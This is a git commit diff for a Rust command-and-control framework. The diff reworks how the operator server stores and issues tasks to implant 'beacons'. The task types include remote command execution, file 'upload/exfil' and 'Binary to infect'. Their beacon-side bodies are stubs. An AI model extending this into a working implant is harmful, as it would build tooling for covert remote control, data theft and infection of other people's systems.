feat: reworked command processing and storage

This commit is contained in:
Andrew Rioux 2025-02-23 18:29:12 -05:00
parent ceb4aa808e
commit 5ed8efca94
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
36 changed files with 710 additions and 295 deletions

44
Cargo.lock generated
View File

@ -990,6 +990,30 @@ dependencies = [
"cfg-if",
]
[[package]]
name = "enum_delegate"
version = "0.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a8ea75f31022cba043afe037940d73684327e915f88f62478e778c3de914cd0a"
dependencies = [
"enum_delegate_lib",
"proc-macro2",
"quote",
"syn 1.0.109",
]
[[package]]
name = "enum_delegate_lib"
version = "0.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2e1f6c3800b304a6be0012039e2a45a322a093539c45ab818d9e6895a39c90fe"
dependencies = [
"proc-macro2",
"quote",
"rand 0.8.5",
"syn 1.0.109",
]
[[package]]
name = "equivalent"
version = "1.0.2"
@ -3453,15 +3477,30 @@ dependencies = [
name = "sparse-actions"
version = "2.0.0"
dependencies = [
"async-trait",
"bindgen",
"chrono",
"enum_delegate",
"http",
"hyper",
"hyper-util",
"leptos",
"pcap-sys",
"rmp-serde",
"rustls",
"serde",
"serde_bytes",
"serde_json",
"smoltcp",
"sqlx",
"thiserror 2.0.11",
"tokio",
"uuid",
]
[[package]]
name = "sparse-beacon"
version = "0.7.0"
version = "2.0.0"
dependencies = [
"async-trait",
"bytes",
@ -3515,7 +3554,7 @@ dependencies = [
[[package]]
name = "sparse-server"
version = "0.1.0"
version = "2.0.0"
dependencies = [
"anyhow",
"axum",
@ -4565,6 +4604,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "93d59ca99a559661b96bf898d8fce28ed87935fd2bea9f05983c1464dd6c71b1"
dependencies = [
"getrandom 0.3.1",
"serde",
]
[[package]]

View File

@ -7,6 +7,27 @@ version.workspace = true
chrono = { version = "0.4.39", features = ["serde"] }
serde = { version = "1.0.218", features = ["derive"] }
serde_bytes = "0.11.15"
uuid = { version = "1.14.0", features = ["serde"] }
enum_delegate = "0.2.0"
async-trait = "0.1.86"
serde_json = "1.0.139"
leptos = { version = "0.7.7", optional = true }
thiserror = { version = "2.0.11", optional = true }
pcap-sys = { path = "../pcap-sys", optional = true }
tokio = { version = "1.43.0", features = ["fs", "io-std", "io-util", "net", "process", "rt", "sync", "time", "tokio-macros"], optional = true }
smoltcp = { version = "0.12.0", default-features = false, features = ["proto-ipv4", "socket", "socket-tcp", "medium-ethernet", "std"], optional = true }
http = { version = "1.2.0", optional = true }
rmp-serde = { version = "1.3.0", optional = true }
hyper-util = { version = "0.1.10", features = ["client", "client-legacy", "http1", "http2", "service", "tokio"], optional = true }
hyper = { version = "1.6.0", features = ["client", "http1", "http2"], optional = true }
rustls = { version = "0.23.23", default-features = false, features = ["std"], optional = true }
sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite", "uuid"], optional = true }
[build-dependencies]
bindgen = "0.69"
[features]
beacon = ["dep:thiserror", "dep:pcap-sys", "dep:tokio", "dep:smoltcp", "dep:http", "dep:hyper-util", "dep:rustls", "dep:hyper", "dep:rmp-serde", "uuid/v4"]
server-ssr = ["uuid/v4", "dep:sqlx"]
server = ["dep:leptos"]

View File

@ -1 +1,98 @@
pub trait Action {}
#[cfg(feature = "server")]
use leptos::prelude::*;
use serde::{Deserialize, Serialize};
use crate::version::Version;
mod ls;
mod update;
mod exec;
mod upload;
mod install;
mod download;
#[derive(Serialize, Deserialize)]
pub struct FileId(pub uuid::Uuid);
/// Macro used to enforce the invariant that struct names are used to identify
/// the enum branch as well
macro_rules! define_actions_enum {
($(($mod:ident, $act:ident)),+) => {
#[derive(::serde::Serialize, ::serde::Deserialize)]
#[serde(tag = "cmd_type")]
pub enum Actions {
$($act($mod::$act)),+,
}
}
}
define_actions_enum! {
(ls, Ls),
(update, Update),
(exec, Exec),
(upload, Upload),
(install, Install),
(download, Download)
}
pub const ACTION_BUILDERS: &'static [&'static (dyn ActionBuilder + Send + Sync)] = &[
&ActionBuilderImpl::<ls::Ls>::new(),
&ActionBuilderImpl::<update::Update>::new(),
&ActionBuilderImpl::<exec::Exec>::new(),
&ActionBuilderImpl::<upload::Upload>::new(),
&ActionBuilderImpl::<install::Install>::new(),
&ActionBuilderImpl::<download::Download>::new(),
];
#[async_trait::async_trait]
pub trait Action: Serialize + for<'a> Deserialize<'a> {
const REQ_VERSION: Version;
const REQ_OS: Option<&'static str>;
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)];
type ActionData: Serialize + for<'a> Deserialize<'a>;
#[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData;
#[cfg(feature = "server")]
fn render_data(&self, data: Self::ActionData) -> impl IntoView;
}
pub trait ActionBuilder {
fn name(&self) -> &'static str;
fn required_version(&self) -> Version;
fn required_os(&self) -> Option<&'static str>;
fn form_elements(&self) -> &'static [(&'static str, &'static str, Option<&'static str>)];
fn verify_json_body(&self, body: serde_json::Value) -> Result<(), serde_json::Error>;
}
pub struct ActionBuilderImpl<T>(std::marker::PhantomData<T>);
impl<T> ActionBuilderImpl<T> {
pub const fn new() -> Self {
Self(std::marker::PhantomData)
}
}
impl<T> ActionBuilder for ActionBuilderImpl<T>
where
T: Action
{
fn name(&self) -> &'static str {
let tname = std::any::type_name::<T>();
tname.split(":").last().unwrap()
}
fn required_version(&self) -> Version {
T::REQ_VERSION
}
fn required_os(&self) -> Option<&'static str> {
T::REQ_OS
}
fn form_elements(&self) -> &'static [(&'static str, &'static str, Option<&'static str>)] {
T::REQ_FIELDS
}
fn verify_json_body(&self, body: serde_json::Value) -> Result<(), serde_json::Error> {
serde_json::from_value::<T>(body).map(|_| ())
}
}

View File

@ -0,0 +1,35 @@
#[cfg(feature = "server")]
use leptos::prelude::*;
use serde::{Deserialize, Serialize};
use crate::version::Version;
#[derive(Serialize, Deserialize)]
pub struct Download {
download_src: super::FileId,
download_path: String,
}
#[async_trait::async_trait]
impl super::Action for Download {
const REQ_VERSION: Version = Version::new(2, 0);
const REQ_OS: Option<&'static str> = None;
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[
("File path to download/place", "download_path", None),
("File to download", "download_src", Some("file")),
];
type ActionData = ();
#[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData {
"Hi".to_string();
}
#[cfg(feature = "server")]
fn render_data(&self, _data: Self::ActionData) -> impl IntoView {
view! {
"ls ran"
}
}
}

View File

@ -0,0 +1,33 @@
#[cfg(feature = "server")]
use leptos::prelude::*;
use serde::{Deserialize, Serialize};
use crate::version::Version;
#[derive(Serialize, Deserialize)]
pub struct Exec {
exec_cmd: String
}
#[async_trait::async_trait]
impl super::Action for Exec {
const REQ_VERSION: Version = Version::new(2, 0);
const REQ_OS: Option<&'static str> = None;
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[
("Command to execute", "exec_cmd", None)
];
type ActionData = String;
#[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData {
"Execute".to_string()
}
#[cfg(feature = "server")]
fn render_data(&self, _data: Self::ActionData) -> impl IntoView {
view! {
"execute command"
}
}
}

View File

@ -0,0 +1,33 @@
#[cfg(feature = "server")]
use leptos::prelude::*;
use serde::{Deserialize, Serialize};
use crate::version::Version;
#[derive(Serialize, Deserialize)]
pub struct Install {
install_target: std::path::PathBuf
}
#[async_trait::async_trait]
impl super::Action for Install {
const REQ_VERSION: Version = Version::new(2, 0);
const REQ_OS: Option<&'static str> = None;
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[
("Binary to infect", "install_target", None)
];
type ActionData = ();
#[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData {
"Hi".to_string();
}
#[cfg(feature = "server")]
fn render_data(&self, _data: Self::ActionData) -> impl IntoView {
view! {
"ls ran"
}
}
}

View File

@ -0,0 +1,29 @@
#[cfg(feature = "server")]
use leptos::prelude::*;
use serde::{Deserialize, Serialize};
use crate::version::Version;
#[derive(Serialize, Deserialize)]
pub struct Ls;
#[async_trait::async_trait]
impl super::Action for Ls {
const REQ_VERSION: Version = Version::new(2, 0);
const REQ_OS: Option<&'static str> = None;
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[];
type ActionData = ();
#[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData {
"Hi".to_string();
}
#[cfg(feature = "server")]
fn render_data(&self, _data: Self::ActionData) -> impl IntoView {
view! {
"ls ran"
}
}
}

View File

@ -0,0 +1,29 @@
#[cfg(feature = "server")]
use leptos::prelude::*;
use serde::{Deserialize, Serialize};
use crate::version::Version;
#[derive(Serialize, Deserialize)]
pub struct Update;
#[async_trait::async_trait]
impl super::Action for Update {
const REQ_VERSION: Version = Version::new(2, 0);
const REQ_OS: Option<&'static str> = None;
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[];
type ActionData = ();
#[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData {
"Hello".to_string();
}
#[cfg(feature = "server")]
fn render_data(&self, _data: Self::ActionData) -> impl IntoView {
view! {
"update ran"
}
}
}

View File

@ -0,0 +1,33 @@
#[cfg(feature = "server")]
use leptos::prelude::*;
use serde::{Deserialize, Serialize};
use crate::version::Version;
#[derive(Serialize, Deserialize)]
pub struct Upload {
upload_src: String
}
#[async_trait::async_trait]
impl super::Action for Upload {
const REQ_VERSION: Version = Version::new(2, 0);
const REQ_OS: Option<&'static str> = None;
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[
("File path to upload/exfil", "upload_src", None)
];
type ActionData = ();
#[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData {
"Hi".to_string();
}
#[cfg(feature = "server")]
fn render_data(&self, _data: Self::ActionData) -> impl IntoView {
view! {
"ls ran"
}
}
}

View File

@ -0,0 +1,38 @@
use std::net::Ipv4Addr;
use crate::error;
#[derive(Debug)]
pub struct BeaconRoute {
pub network: (Ipv4Addr, u8),
pub gateway: (Ipv4Addr, u8),
pub interface_index: usize,
}
#[derive(Debug)]
pub struct BeaconNetworkingInfo {
pub routes: Vec<BeaconRoute>,
pub interfaces: Vec<BeaconInterface>,
}
#[derive(Debug)]
pub struct BeaconInterface {
pub name: Vec<u8>,
pub mtu: u16,
pub mac_addr: [u8; 6],
}
#[async_trait::async_trait]
pub trait BeaconAdapter {
type Error: error::AdapterError + Send + Sync;
const OPERATING_SYSTEM: &'static str;
fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8>;
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError<Self::Error>>;
async fn get_username(&self) -> Result<String, error::BeaconError<Self::Error>>;
async fn get_hostname(&self) -> Result<String, error::BeaconError<Self::Error>>;
}

View File

@ -0,0 +1,40 @@
use thiserror::Error;
pub trait AdapterError: std::error::Error {}
#[derive(Error, Debug)]
pub enum BeaconError<T>
where
T: AdapterError,
{
#[error("io error")]
Io(#[from] std::io::Error),
#[error("pcap error")]
Pcap(#[from] pcap_sys::error::Error),
#[error("utf8 decoding error")]
Utf8(#[from] std::str::Utf8Error),
#[error("task join error")]
Join(#[from] tokio::task::JoinError),
#[error("could not find default route")]
NoDefaultRoute,
#[error("connection error")]
Connect(#[from] smoltcp::socket::tcp::ConnectError),
#[error("http comms error")]
Http(#[from] http::Error),
#[error("uri parse error")]
InvalidUri(#[from] http::uri::InvalidUri),
#[error("hyper http error")]
HyperError(#[from] hyper_util::client::legacy::Error),
#[error("rustls")]
Rustls(#[from] rustls::Error),
#[error("adapter error")]
Adapter(#[from] T),
#[error("http error from server")]
SparseServerHttpError(http::StatusCode),
#[error("message pack encode error")]
RmpSerdeEncode(#[from] rmp_serde::encode::Error),
#[error("message pack decode error")]
RmpSerdeDecode(#[from] rmp_serde::decode::Error),
#[error("http error")]
Hyper(#[from] hyper::Error),
}

View File

@ -5,4 +5,9 @@ pub mod payload_types {
}
pub mod actions;
#[cfg(feature = "beacon")]
pub mod adapter;
#[cfg(feature = "beacon")]
pub mod error;
pub mod messages;
pub mod version;

View File

@ -0,0 +1,7 @@
use sparse_actions::actions::ActionBuilder;
fn main() {
for b in sparse_actions::actions::ACTION_BUILDERS {
println!("{}", b.name());
}
}

View File

@ -0,0 +1,64 @@
use std::{
cmp::{Ord, Ordering, PartialOrd},
fmt::{self, Display},
};
use serde::{Deserialize, Serialize};
#[derive(PartialEq, Eq, Clone, Copy, Serialize, Deserialize)]
#[repr(transparent)]
#[cfg_attr(feature = "server-ssr", derive(sqlx::Type))]
#[cfg_attr(feature = "server-ssr", sqlx(transparent))]
pub struct Version(u16);
impl Version {
pub const fn new(maj: u8, min: u8) -> Self {
Self(((maj as u16) << 8u16) | (min as u16))
}
pub const fn major(&self) -> u8 {
(self.0 >> 8) as u8
}
pub const fn minor(&self) -> u8 {
(self.0 & 0xFF) as u8
}
}
impl PartialOrd for Version {
fn partial_cmp(&self, other: &Self) -> Option<Ordering> {
Some(self.cmp(other))
}
}
impl Ord for Version {
fn cmp(&self, other: &Self) -> Ordering {
if self.major() == other.major() {
self.minor().cmp(&other.minor())
} else {
self.major().cmp(&other.major())
}
}
}
impl fmt::Debug for Version {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "Version({}.{})", self.major(), self.minor())
}
}
impl Display for Version {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "{}.{}", self.major(), self.minor())
}
}
/*#[cfg(feature = "server-ssr")]
impl<'r> sqlx::Decode<'r, sqlx::Sqlite> for Version {
fn decode(
value: sqlx::Sqlite::ValueRef<'r>,
) -> Result<Self, Box<dyn Error + 'static + Send + Sync>> {
let value = <u16 as sqlx::Decode<sqlx::Sqlite>>::decode(value)?;
Ok(Self(value))
}
}*/

View File

@ -1,6 +1,6 @@
[package]
name = "sparse-beacon"
version = "0.7.0"
version.workspace = true
edition = "2021"
publish = false
@ -29,9 +29,9 @@ http-body = "1.0.1"
rmp-serde = "1.3.0"
cron = "0.13.0"
pcap-sys = { version = "0.1.0", path = "../pcap-sys" }
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
packets = { version = "0.1.0", path = "../packets" }
pcap-sys = { path = "../pcap-sys" }
sparse-actions = { path = "../sparse-actions", features = ["beacon"] }
packets = { path = "../packets" }
[features]
openssl = ["dep:rustls-openssl"]

View File

@ -12,13 +12,13 @@ use hyper_util::{
use rustls::RootCertStore;
use tower_service::Service;
use sparse_actions::payload_types::Parameters;
use crate::{
use sparse_actions::{
adapter, error,
tcp::{self, setup_network},
payload_types::Parameters
};
use crate::tcp::{self, setup_network};
#[derive(Clone)]
pub struct ServerConnector<T>
where

View File

@ -3,17 +3,13 @@ use sparse_actions::payload_types::Parameters;
use http_body_util::{BodyExt, Full};
use hyper::{Request, Method};
use sparse_actions::messages;
use sparse_actions::{adapter, error::BeaconError, messages};
mod callback;
mod socket;
mod tcp;
mod params;
pub mod adapter;
pub mod error;
pub use error::BeaconError;
pub fn install_rustls() {
#[cfg(feature = "openssl")]
let _ = rustls_openssl::default_provider().install_default();
@ -63,7 +59,7 @@ where
let hostname = host_adapter.get_hostname().await.unwrap_or("(unknown)".to_string());
let userent = host_adapter.get_username().await.unwrap_or("(unknown)".to_string());
let mut config: messages::BeaconConfig = {
let _config: messages::BeaconConfig = {
let client = callback::obtain_https_client(&host_adapter, &params).await?;
make_request(
@ -83,15 +79,15 @@ where
loop {
// let client = callback::obtain_https_client(&host_adapter, &params).await?;
use messages::RuntimeConfig as RC;
let target_wake_time = match &config.runtime_config {
RC::Oneshot => { break; },
RC::Random { interval_min, interval_max } => {},
RC::Regular { interval } => {},
RC::Cron { schedule, timezone } => {
//use messages::RuntimeConfig as RC;
//let target_wake_time = match &config.runtime_config {
// RC::Oneshot => { break; },
// RC::Random { interval_min, interval_max } => {},
// RC::Regular { interval } => {},
// RC::Cron { schedule, timezone } => {
}
};
// }
//};
}
// for _ in 1..5 {
@ -106,6 +102,4 @@ where
// let body = body.collect().await;
// println!("{:?}", body);
// }
Ok(())
}

View File

@ -1,7 +1,4 @@
use sparse_actions::payload_types::Parameters;
use crate::adapter::BeaconAdapter;
use crate::error::BeaconError;
use sparse_actions::{adapter::BeaconAdapter, error::BeaconError, payload_types::Parameters};
pub fn domain_name<'a, T>(params: &'a Parameters) -> Result<&'a str, BeaconError<T::Error>>
where

View File

@ -2,7 +2,7 @@ use smoltcp::phy::{self, Device, DeviceCapabilities, Medium};
use pcap_sys::Interface;
use crate::{adapter, error};
use sparse_actions::{adapter, error};
struct SocketInner {
lower: Interface,

View File

@ -18,9 +18,10 @@ use tokio::{
task::{spawn_blocking, JoinHandle},
};
use sparse_actions::payload_types::Parameters;
use crate::{adapter, error};
use sparse_actions::{
adapter, error,
payload_types::Parameters
};
pub struct NetInterfaceHandle {
net: Arc<Mutex<(SocketSet<'static>, crate::socket::RawSocket, Interface)>>,

View File

@ -18,5 +18,6 @@ rustls = { version = "0.23", default-features = false, features = ["ring", "std"
rcgen = { version = "0.13.2", features = ["pem", "x509-parser", "crypto"] }
rustls-pki-types = "1.11.0"
axum-msgpack = "0.4.0"
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
chrono = { version = "0.4.39", features = ["serde"] }
sparse-actions = { path = "../sparse-actions" }

View File

@ -1,6 +1,6 @@
[package]
name = "sparse-server"
version = "0.1.0"
version.workspace = true
edition = "2021"
[lib]
@ -51,7 +51,7 @@ server_fn = { version = "0.7.7", features = ["multipart"] }
multer = { version = "3.1.0", optional = true }
uuid = { version = "1.14.0", features = ["v4"], optional = true }
sparse-actions = { path = "../sparse-actions", optional = true }
sparse-actions = { path = "../sparse-actions", features = ["server"] }
sparse-handler = { path = "../sparse-handler", optional = true }
[features]
@ -79,14 +79,14 @@ ssr = [
"dep:cron",
"dep:sparse-handler",
"dep:rustls-pki-types",
"dep:sparse-actions",
"dep:rand",
"dep:multer",
"dep:uuid",
"leptos/ssr",
"leptos_meta/ssr",
"leptos_router/ssr",
"leptos-use/ssr"
"leptos-use/ssr",
"sparse-actions/server-ssr"
]
[package.metadata.leptos]

View File

@ -0,0 +1,3 @@
-- Add migration script here
ALTER TABLE beacon_instance ADD COLUMN version int NOT NULL DEFAULT 512;

View File

@ -0,0 +1,27 @@
-- Add migration script here
DROP TABLE beacon_command_invocation;
DROP TABLE beacon_command;
CREATE TABLE beacon_command (
command_id integer PRIMARY KEY AUTOINCREMENT NOT NULL,
cmd_parameters varchar NOT NULL
);
CREATE TABLE beacon_command_invocation (
beacon_id varchar NOT NULL,
command_id int NOT NULL,
issue_date int NOT NULL,
invoker_id int NOT NULL,
invocation_date int,
invocation_result varchar,
PRIMARY KEY (beacon_id, command_id),
FOREIGN KEY (command_id) REFERENCES beacon_command,
FOREIGN KEY (beacon_id) REFERENCES beacon_instance,
FOREIGN KEY (invoker_id) REFERENCES users
);

View File

@ -1,66 +1,17 @@
use leptos::{either::Either, prelude::*};
use serde::{Deserialize, Serialize};
use leptos::server_fn::codec::{MultipartData, MultipartFormData};
use web_sys::FormData;
use send_wrapper::SendWrapper;
#[cfg(feature = "ssr")]
use {
sparse_actions::version::Version,
leptos::server_fn::error::NoCustomError,
sqlx::{sqlite::SqliteRow, FromRow, Row},
tokio::io::AsyncWriteExt,
};
use crate::beacons::{BeaconResources, categories::Category};
#[derive(Clone, Serialize, Deserialize)]
pub enum CommandBody {
Update,
Exec { command: String },
Install { target_binary: String },
Upload { target_file: String },
Download { src_file: String, target_path: String },
Chdir { target_dir: String },
Ls
}
#[cfg(feature = "ssr")]
impl FromRow<'_, SqliteRow> for CommandBody {
fn from_row(row: &SqliteRow) -> sqlx::Result<Self> {
match row.try_get("cmd_type")? {
"update" => Ok(Self::Update),
"exec" => Ok(Self::Exec {
command: row.try_get("exec_command")?
}),
"install" => Ok(Self::Install {
target_binary: row.try_get("install_target")?
}),
"upload" => Ok(Self::Upload {
target_file: row.try_get("upload_src")?
}),
"download" => Ok(Self::Download {
src_file: row.try_get("download_src")?,
target_path: row.try_get("download_path")?
}),
"chdir" => Ok(Self::Chdir {
target_dir: row.try_get("chdir_target")?
}),
"ls" => Ok(Self::Ls),
type_name => Err(sqlx::Error::TypeNotFound {
type_name: type_name.to_string()
})
}
}
}
#[cfg_attr(feature = "ssr", derive(FromRow))]
#[derive(Clone, Serialize, Deserialize)]
pub struct BeaconCommand {
pub command_id: i64,
#[cfg_attr(feature = "ssr", sqlx(flatten))]
pub body: CommandBody
}
#[server(
prefix = "/api/commands",
endpoint = "issue_command",
@ -75,138 +26,19 @@ pub async fn issue_command(
));
};
let mut fields = std::collections::HashMap::<String, String>::new();
let mut download_src = None::<multer::Field>;
let mut fields = serde_json::Map::new();
let db = crate::db::get_db()?;
let mut data = data.into_inner().ok_or(ServerFnError::<NoCustomError>::ServerError(
"No form data was provided".to_owned(),
))?;
while let Ok(Some(field)) = data.next_field().await {
let name = field.name().unwrap_or_default().to_string();
tracing::trace!("Found field {}", &name);
if name != "download_src" {
fields.insert(name.clone(), field.text().await.unwrap_or_default());
} else {
download_src = Some(field);
}
}
while let Ok(Some(mut field)) = data.next_field().await {
tracing::debug!("Processing field {:?}", field.name());
let Some(name) = field.name().map(|f| f.to_string()) else { continue; };
enum Target {
Beacon(String),
Category(i64)
}
let file_name = field.file_name().map(str::to_string);
let Some(target_beacons) = fields
.get("beacon_id")
.map(Clone::clone)
.map(Target::Beacon)
.or(fields
.get("category_id")
.map(|id| id.parse::<i64>().ok())
.flatten()
.map(Target::Category)) else {
return Err(ServerFnError::<NoCustomError>::ServerError(
"A beacon command cannot be made without a target".to_owned(),
));
};
let db = crate::db::get_db()?;
let command_id = match fields.get("cmd_type").map(Clone::clone).as_deref() {
Some("update") => {
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type) VALUES ('update')"
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("ls") => {
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type) VALUES ('ls')"
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("chdir") => {
let chdir_target = fields
.get("chdir_target")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Directory target cannot be empty".to_owned(),
))?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, chdir_target) VALUES ('chdir', ?)",
chdir_target
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("exec") => {
let exec_command = fields
.get("exec_command")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Command cannot be empty".to_owned(),
))?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, exec_command) VALUES ('exec', ?)",
exec_command
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("install") => {
let install_target = fields
.get("install_target")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Install target cannot be empty".to_owned(),
))?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, install_target) VALUES ('install', ?)",
install_target
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("upload") => {
let upload_src = fields
.get("upload_src")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Upload file request path cannot be empty".to_owned(),
))?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, upload_src) VALUES ('upload', ?)",
upload_src
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("download") => {
let download_path = fields
.get("download_path")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Upload file request path cannot be empty".to_owned(),
))?;
let mut download_src = download_src
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"File to upload cannot be empty".to_owned(),
))?;
let file_name = download_src.file_name().unwrap_or_default().to_string();
if let Some(file_name) = file_name {
let file_id = uuid::Uuid::new_v4();
let mut target_file_path = expect_context::<std::path::PathBuf>();
@ -220,7 +52,7 @@ pub async fn issue_command(
.open(target_file_path)
.await?;
while let Ok(Some(chunk)) = download_src.chunk().await {
while let Ok(Some(chunk)) = field.chunk().await {
target_file.write(&chunk).await?;
}
@ -232,24 +64,83 @@ pub async fn issue_command(
.execute(&db)
.await?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, download_src, download_path) VALUES ('download', ?, ?)",
file_id,
download_path
fields.insert(name, serde_json::to_value(sparse_actions::actions::FileId(file_id))?);
} else {
let Ok(value) = field.text().await else { continue; };
let json = match serde_json::from_str(&value) {
Ok(v) => v,
Err(_) => serde_json::Value::String(value.clone())
};
fields.insert(name, json);
}
}
enum Target {
Beacon(String),
Category(i64)
}
tracing::debug!("Parameters provided: {:?}", serde_json::to_string(&fields));
let Some(target_beacons) = fields
.get("target_beacon_id")
.and_then(serde_json::Value::as_str)
.map(str::to_string)
.map(Target::Beacon)
.or(fields
.get("target_category_id")
.and_then(serde_json::Value::as_i64)
.map(Target::Category)) else {
return Err(ServerFnError::<NoCustomError>::ServerError(
"A beacon command cannot be made without a target".to_owned(),
));
};
fields.remove("target_beacon_id");
fields.remove("target_category_id");
let Some(command_builder) = sparse_actions::actions::ACTION_BUILDERS
.iter()
.find(|builder| Some(builder.name()) == fields.get("cmd_type").and_then(serde_json::Value::as_str)) else {
return Err(ServerFnError::<NoCustomError>::ServerError(
"No command type provided".to_owned(),
));
};
let fields = serde_json::Value::Object(fields);
command_builder.verify_json_body(fields.clone())?;
serde_json::from_value::<sparse_actions::actions::Actions>(fields.clone())?;
let serialized_fields = serde_json::to_string(&fields)?;
let command_id = sqlx::query!(
"INSERT INTO beacon_command (cmd_parameters) VALUES (?)",
serialized_fields
)
.execute(&db)
.await?
.last_insert_rowid())
}
_ => Err(ServerFnError::<NoCustomError>::ServerError(
"Unknown command type".to_owned(),
))
}?;
.last_insert_rowid();
let now = chrono::Utc::now();
match target_beacons {
Target::Beacon(bid) => {
let beacon_instance = sqlx::query!(
r#"SELECT version as "version: Version" FROM beacon_instance WHERE beacon_id = ?"#,
bid
)
.fetch_one(&db)
.await?;
if beacon_instance.version < command_builder.required_version() {
return Err(ServerFnError::<NoCustomError>::ServerError(format!(
"Beacon does not meet the minimum required version to run that command ({} vs {})",
beacon_instance.version,
command_builder.required_version()
)));
}
sqlx::query!(
"INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id)
VALUES (?, ?, ?, ?)",
@ -262,16 +153,20 @@ pub async fn issue_command(
.await?;
}
Target::Category(cid) => {
let version = command_builder.required_version();
sqlx::query!(
"INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id)
SELECT ?, ?, ?, bi.beacon_id FROM beacon_category bc
INNER JOIN beacon_category_assignment bca ON bc.category_id = bca.category_id
INNER JOIN beacon_instance bi ON bca.beacon_id = bi.beacon_id
WHERE bc.category_id = ?",
WHERE bc.category_id = ?
AND bi.version >= ?",
command_id,
now,
user.user_id,
cid
cid,
version
)
.execute(&db)
.await?;
@ -290,6 +185,8 @@ pub fn CommandForm(categories: Vec<Category>, beacon_id: Option<String>) -> impl
}
});
let (current_cmd, set_current_cmd) = signal("Exec".to_owned());
view! {
{(categories.is_empty() && beacon_id.is_none())
.then(|| view! {
@ -318,14 +215,14 @@ pub fn CommandForm(categories: Vec<Category>, beacon_id: Option<String>) -> impl
<legend>"Issue new command"</legend>
{if let Some(bid) = beacon_id.clone() {
Either::Left(view! {
<input name="beacon_id" type="hidden" value=bid />
<input name="target_beacon_id" type="hidden" value=bid />
})
} else {
Either::Right(view! {
<label>
"Select a category to command"
</label>
<select name="category_id">
<select name="target_category_id">
{categories
.iter()
.map(|cat| view! {
@ -338,27 +235,34 @@ pub fn CommandForm(categories: Vec<Category>, beacon_id: Option<String>) -> impl
})
}}
<label>"Type of command"</label>
<select name="cmd_type">
<option value="exec">"Execute command"</option>
<option value="upload">"Upload/exfil file"</option>
<option value="download">"Download/place file"</option>
<option value="update">"Update beacon"</option>
<option value="chdir">"Change directory"</option>
<option value="ls">"List files"</option>
<option value="install">"Install to a new binary"</option>
<select
name="cmd_type"
on:change:target=move |ev| {
set_current_cmd(ev.target().value().to_string())
}
prop:value=move || current_cmd.get()
>
{sparse_actions::actions::ACTION_BUILDERS
.iter()
.map(|b| view! {
<option value=b.name()>{b.name()}</option>
})
.collect_view()}
</select>
<label class="cmd-exec">"Command"</label>
<input class="cmd-exec" name="exec_command" />
<label class="cmd-upload">"File to upload/exfil"</label>
<input class="cmd-upload" name="upload_src" />
<label class="cmd-chdir">"Directory to change to"</label>
<input class="cmd-chdir" name="chdir_target" />
<label class="cmd-install">"Binary to infect"</label>
<input class="cmd-install" name="install_target" />
<label class="cmd-download">"Target location for file"</label>
<input class="cmd-download" name="download_path"/>
<label class="cmd-download">"File to download/place"</label>
<input class="cmd-download" name="download_src" type="file" />
{move || sparse_actions::actions::ACTION_BUILDERS
.iter()
.find(|b| b.name() == *current_cmd.read())
.map(|b| b
.form_elements()
.iter()
.map(|(label, name, itype)| view! {
<label>{label.to_string()}</label>
<input
name=name.to_string()
type=itype.unwrap_or("text").to_string()
/>
})
.collect_view())}
<div></div>
<input type="submit" value="Submit" disabled=move ||command_action.pending().get()/>
</fieldset>

View File

@ -52,6 +52,7 @@ pub struct CurrentBeaconInstance {
pub operating_system: String,
pub userent: String,
pub hostname: String,
pub version: sparse_actions::version::Version,
pub last_checkin: chrono::DateTime<chrono::Utc>,
pub config_id: Option<i64>,
pub template_id: i64,
@ -588,6 +589,9 @@ pub fn BeaconSidebar() -> impl IntoView {
<div class="beacon-instance-os">
